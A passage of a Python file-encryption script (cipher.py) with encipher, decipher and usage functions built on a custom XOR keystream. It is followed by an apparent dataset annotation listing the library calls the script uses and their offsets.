return key_stretch(h)
def encipher(ipath,opath):
iv = os.urandom(8)
print(" xxxx xxxx xxxx xxxx xxxx xxxx xxxx")
key = key_hash(iv, input("Key: "))
with open(ipath, 'rb') as plain:
data = plain.read()
stream = keystream(key, iv)
salt = bytes(next(stream) for i in range(256))
edata = apply_xor(stream, hash_value(salt, data) + data)
with open(opath, 'wb') as out:
out.write(iv)
out.write(edata)
def decipher(ipath, opath):
with open(ipath, 'rb') as chiff:
iv = chiff.read(8)
key = key_hash(iv, input("Key: "))
edata = chiff.read()
stream = keystream(key, iv)
salt = bytes(next(stream) for i in range(256))
data = apply_xor(stream, edata)
h, data = data[:32], data[32:]
if h != hash_value(salt, data):
print("Warning: key is wrong or data was corrupted.\n")
with open(opath, 'wb') as out:
out.write(data)
def usage():
print("\nUsage: cipher.py (-e|-d) input-file output-file\n")
exit(1)
def main():
if len(argv) != 4: usage()
mode, ipath, opath = argv[1:]
if mode == "-e":
encipher(ipath, opath)
elif mode == "-d":
decipher(ipath, opath)
else:
usage()
main()
| [
"os.urandom",
"hashlib.sha256",
"struct.unpack",
"sys.exit"
] | [((892, 917), 'struct.unpack', 'struct.unpack', (['"""<8L"""', 'key'], {}), "('<8L', key)\n", (905, 917), False, 'import os, hashlib, struct\n'), ((970, 994), 'struct.unpack', 'struct.unpack', (['"""<LL"""', 'iv'], {}), "('<LL', iv)\n", (983, 994), False, 'import os, hashlib, struct\n'), ((1795, 1811), 'hashlib.sha256', 'hashlib.sha256', ([], {}), '()\n', (1809, 1811), False, 'import os, hashlib, struct\n'), ((2151, 2164), 'os.urandom', 'os.urandom', (['(8)'], {}), '(8)\n', (2161, 2164), False, 'import os, hashlib, struct\n'), ((3145, 3152), 'sys.exit', 'exit', (['(1)'], {}), '(1)\n', (3149, 3152), False, 'from sys import argv, exit\n')] |